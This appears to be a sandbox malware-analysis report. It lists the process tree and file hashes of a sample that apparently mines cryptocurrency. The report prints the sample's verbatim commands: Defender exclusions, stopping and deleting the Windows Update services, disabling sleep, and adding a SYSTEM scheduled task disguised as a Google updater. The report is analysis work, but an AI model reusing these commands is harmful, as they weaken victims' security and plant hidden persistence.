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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4784
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2316 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:3912
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:5056
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:2236
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:3952
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:4284
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:4108
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:560
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵PID:4948
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:2224
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:4512
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Suspicious use of WriteProcessMemory
PID:2856 -
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵PID:4872
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C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵PID:528
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵PID:1008
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵PID:1160
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#hpfjuzary#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3656
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe etzzkakmg2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:4580
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:3596 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵PID:4212
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:3624
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe ztzptsnoedioejdw 9iglejqod3hFFxVhkr+WUaol7tpsq+sx3xs4hsVXOg+m/MQNrGWjJxY7q+IriA/on0Hr8KA98LUOT5htKhbexvQM3CPn32BhsKxg1njCTOhUeztmqm8Mu/ZFhejkqTEpJHxOXGbz6fkYGFdYncO7npPPBS03OOiqaTGas+PgMCqGPbreQed32DvfYpa0SQ2FJR9dTs7giUOVM3pXJtMKLvbAgrjXk3uGyZ0rmkqINAQ=2⤵PID:1500
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4484
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
53.0MB
MD55c4eecf00e9f6e0222c205c3dc327bb8
SHA12188e4b277e214364804a4ffcef23017a769722f
SHA2562fa065de1468413ea4f909f527e4b7d03bca047c5d4adf1dfa7ade9155ad84e3
SHA5120b1761d562484cf54a43599e84836b595dc948f86ecc438ef9bfcb9a30d40e0e51046ff4e3a1d30516971fe92ccb233d0f06613ff17695f9075185effc77db39
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Filesize
53.0MB
MD55c4eecf00e9f6e0222c205c3dc327bb8
SHA12188e4b277e214364804a4ffcef23017a769722f
SHA2562fa065de1468413ea4f909f527e4b7d03bca047c5d4adf1dfa7ade9155ad84e3
SHA5120b1761d562484cf54a43599e84836b595dc948f86ecc438ef9bfcb9a30d40e0e51046ff4e3a1d30516971fe92ccb233d0f06613ff17695f9075185effc77db39
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Filesize
226B
MD5fdba80d4081c28c65e32fff246dc46cb
SHA174f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA256b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
SHA512b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
944B
MD562623d22bd9e037191765d5083ce16a3
SHA14a07da6872672f715a4780513d95ed8ddeefd259
SHA25695d79fd575bbd21540e378fcbc1cd00d16f51af62ce15bae7080bb72c24e2010
SHA5129a448b7a0d867466c2ea04ab84d2a9485d5fd20ab53b2b854f491831ee3f1d781b94d2635f7b0b35cb9f2d373cd52c67570879a56a42ed66bc9db06962ed4992
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Filesize
1KB
MD5d98a478d3aa04d351bff3c424003c32e
SHA1f70dc099995273b80a1b474da8aa76e786186b7c
SHA2562c017a839dc7ae53adae9a5afef6c2430f705e2e9fc3316538f0bbe776f1f6b6
SHA512ff5d3ee8c06a6f50ba3619b94ace32be095f14d7e0b2e2961cbcfe25d0bd0c8451c2494cc2c6808276ea6a616451421fdd2489003ede9f9552f5909eb9283c0b
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize4KB
MD5bdb25c22d14ec917e30faf353826c5de
SHA16c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA256e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
SHA512b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD5b42c70c1dbf0d1d477ec86902db9e986
SHA11d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA2568ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
SHA51257fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5